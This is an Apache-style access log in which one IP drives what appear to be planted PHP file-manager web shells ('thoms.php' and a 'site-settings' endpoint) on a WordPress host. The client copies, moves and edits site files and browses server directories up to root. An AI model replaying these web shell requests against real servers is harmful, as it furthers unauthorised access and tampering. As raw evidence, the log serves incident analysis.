45.135.193.11 - - [11/Sep/2026:23:39:26 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fupgrade&p=bodbooks.com.tw HTTP/1.1" 200 11515 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fupgrade&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:26 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fupgrade&p=bossini.com.tw HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fupgrade&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:26 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fupgrade&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fupgrade&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:26 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fupgrade&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fupgrade&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:26 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fupgrade&p=besth2o.com.tw HTTP/1.1" 200 11500 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fupgrade&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22661 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fupgrade&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22673 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fupgrade&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:27 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fupgrade&p=bioway88.com.tw HTTP/1.1" 200 11504 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fupgrade&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:27 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fupgrade&p=cgi-bin HTTP/1.1" 200 11320 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fupgrade&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:27 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fupgrade&p=bestzyx.com.tw HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fupgrade&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:27 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fupgrade&p=betcity.com.tw HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fupgrade&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:27 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fupgrade&p=booking-wise2.com.tw HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fupgrade&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:27 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fupgrade&p=wp-content-20260912023544 HTTP/1.1" 200 11339 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fupgrade&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:27 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fupgrade&p=ba-guo.com.tw HTTP/1.1" 200 11360 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fupgrade&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:27 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fupgrade&p=bfl.com.tw HTTP/1.1" 200 11489 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fupgrade&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:27 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fupgrade&p=upgrade HTTP/1.1" 200 11365 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fupgrade&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:27 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fupgrade&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11421 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fupgrade&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:27 -0400] "GET /thoms.php?edit=locoy.php&p=bestjudy.com.tw HTTP/1.1" 200 12723 "http://163.245.207.76:443/thoms.php?edit=locoy.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:27 -0400] "GET /thoms.php?edit=locoy.php&env=ace&p=bestjudy.com.tw HTTP/1.1" 200 16328 "http://163.245.207.76:443/thoms.php?edit=locoy.php&env=ace&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:27 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Freadme.html&p= HTTP/1.1" 200 12403 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Freadme.html&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:27 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Freadme.html&p=bestjudy.com.tw%2Fcgi-bin HTTP/1.1" 200 11357 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Freadme.html&p=bestjudy.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:28 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Freadme.html&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Freadme.html&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:28 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Freadme.html&finish=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Freadme.html&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:28 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Freadme.html&p=bestjudy.com.tw%2F.well-known HTTP/1.1" 200 11388 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Freadme.html&p=bestjudy.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:28 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Freadme.html&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 11345 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Freadme.html&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:28 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 18960 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Freadme.html&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:28 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Freadme.html&p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 200 11447 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Freadme.html&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:28 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Freadme.html&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 200 11348 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Freadme.html&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:28 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Freadme.html&p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Freadme.html&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:28 -0400] "GET /bestjudy.com.tw/site-settings/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fsite-settings%2F HTTP/1.1" 200 6467 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:28 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Freadme.html&finish=1&move=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Freadme.html&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:28 -0400] "GET /bestjudy.com.tw/site-settings/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fsite-settings%2F&option=folder HTTP/1.1" 200 6477 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22696 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Freadme.html&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:28 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Freadme.html&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11860 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Freadme.html&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:28 -0400] "GET /bestjudy.com.tw/site-settings/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fsite-settings%2F%2Fcjfuns.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fsite-settings%2F HTTP/1.1" 200 11232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:28 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 18961 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Freadme.html&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:28 -0400] "GET /bestjudy.com.tw/site-settings/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fsite-settings%2F%2Fprofile.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fsite-settings%2F HTTP/1.1" 200 18836 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:28 -0400] "GET /bestjudy.com.tw/site-settings/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fsite-settings%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F HTTP/1.1" 200 8911 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:28 -0400] "GET /bestjudy.com.tw/site-settings/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fsite-settings%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fsite-settings%2F HTTP/1.1" 200 6481 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:28 -0400] "GET /bestjudy.com.tw/site-settings/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fsite-settings%2F HTTP/1.1" 200 6419 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:28 -0400] "GET /bestjudy.com.tw/site-settings/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fsite-settings%2F%2Fadmin.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fsite-settings%2F HTTP/1.1" 200 11195 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:28 -0400] "GET /bestjudy.com.tw/site-settings/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fsite-settings%2F%2Flicense.txt&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fsite-settings%2F HTTP/1.1" 200 6610 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:28 -0400] "GET /bestjudy.com.tw/site-settings/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fsite-settings%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 11182 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:28 -0400] "GET /bestjudy.com.tw/site-settings/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F HTTP/1.1" 200 8847 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:28 -0400] "GET /bestjudy.com.tw/site-settings/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fsite-settings%2F&location=%2F HTTP/1.1" 200 7899 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:28 -0400] "GET /bestjudy.com.tw/site-settings/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fsite-settings%2F&location=%2Fhome%2F HTTP/1.1" 200 5835 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:29 -0400] "GET /bestjudy.com.tw/site-settings/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fsite-settings%2F&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7922 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:29 -0400] "GET /bestjudy.com.tw/site-settings/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fsite-settings%2F&option=file HTTP/1.1" 200 6477 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:29 -0400] "GET /bestjudy.com.tw/site-settings/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fsite-settings%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fsite-settings%2F HTTP/1.1" 200 28470 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:29 -0400] "GET /bestjudy.com.tw/static-plugins/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fstatic-plugins%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fstatic-plugins%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:29 -0400] "GET /bestjudy.com.tw/static-plugins/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fstatic-plugins%2F&location=%2Fhome%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:29 -0400] "GET /bestjudy.com.tw/static-plugins/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fstatic-plugins%2F&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:29 -0400] "GET /bestjudy.com.tw/static-plugins/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fstatic-plugins%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fstatic-plugins%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:29 -0400] "GET /bestjudy.com.tw/static-plugins/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fstatic-plugins%2F&option=file HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:29 -0400] "GET /bestjudy.com.tw/static-plugins/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fstatic-plugins%2F%2Fprofile.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fstatic-plugins%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:29 -0400] "GET /bestjudy.com.tw/static-plugins/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fstatic-plugins%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:29 -0400] "GET /bestjudy.com.tw/static-plugins/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fstatic-plugins%2F%2Flicense.txt&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fstatic-plugins%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:29 -0400] "GET /bestjudy.com.tw/static-plugins/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fstatic-plugins%2F&option=folder HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:29 -0400] "GET /bestjudy.com.tw/static-plugins/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fstatic-plugins%2F&location=%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:29 -0400] "GET /bestjudy.com.tw/static-plugins/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fstatic-plugins%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:29 -0400] "GET /bestjudy.com.tw/static-plugins/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fstatic-plugins%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:29 -0400] "GET /bestjudy.com.tw/static-plugins/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fstatic-plugins%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:29 -0400] "GET /bestjudy.com.tw/static-plugins/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:29 -0400] "GET /bestjudy.com.tw/static-plugins/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fstatic-plugins%2F%2Fadmin.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fstatic-plugins%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:29 -0400] "GET /thoms.php?edit=xmlrpc.php&env=ace&p=bestjudy.com.tw HTTP/1.1" 200 16702 "http://163.245.207.76:443/thoms.php?edit=xmlrpc.php&env=ace&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:29 -0400] "GET /thoms.php?edit=xmlrpc.php&p=bestjudy.com.tw HTTP/1.1" 200 13113 "http://163.245.207.76:443/thoms.php?edit=xmlrpc.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:29 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Flicense.txt&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 11345 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Flicense.txt&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
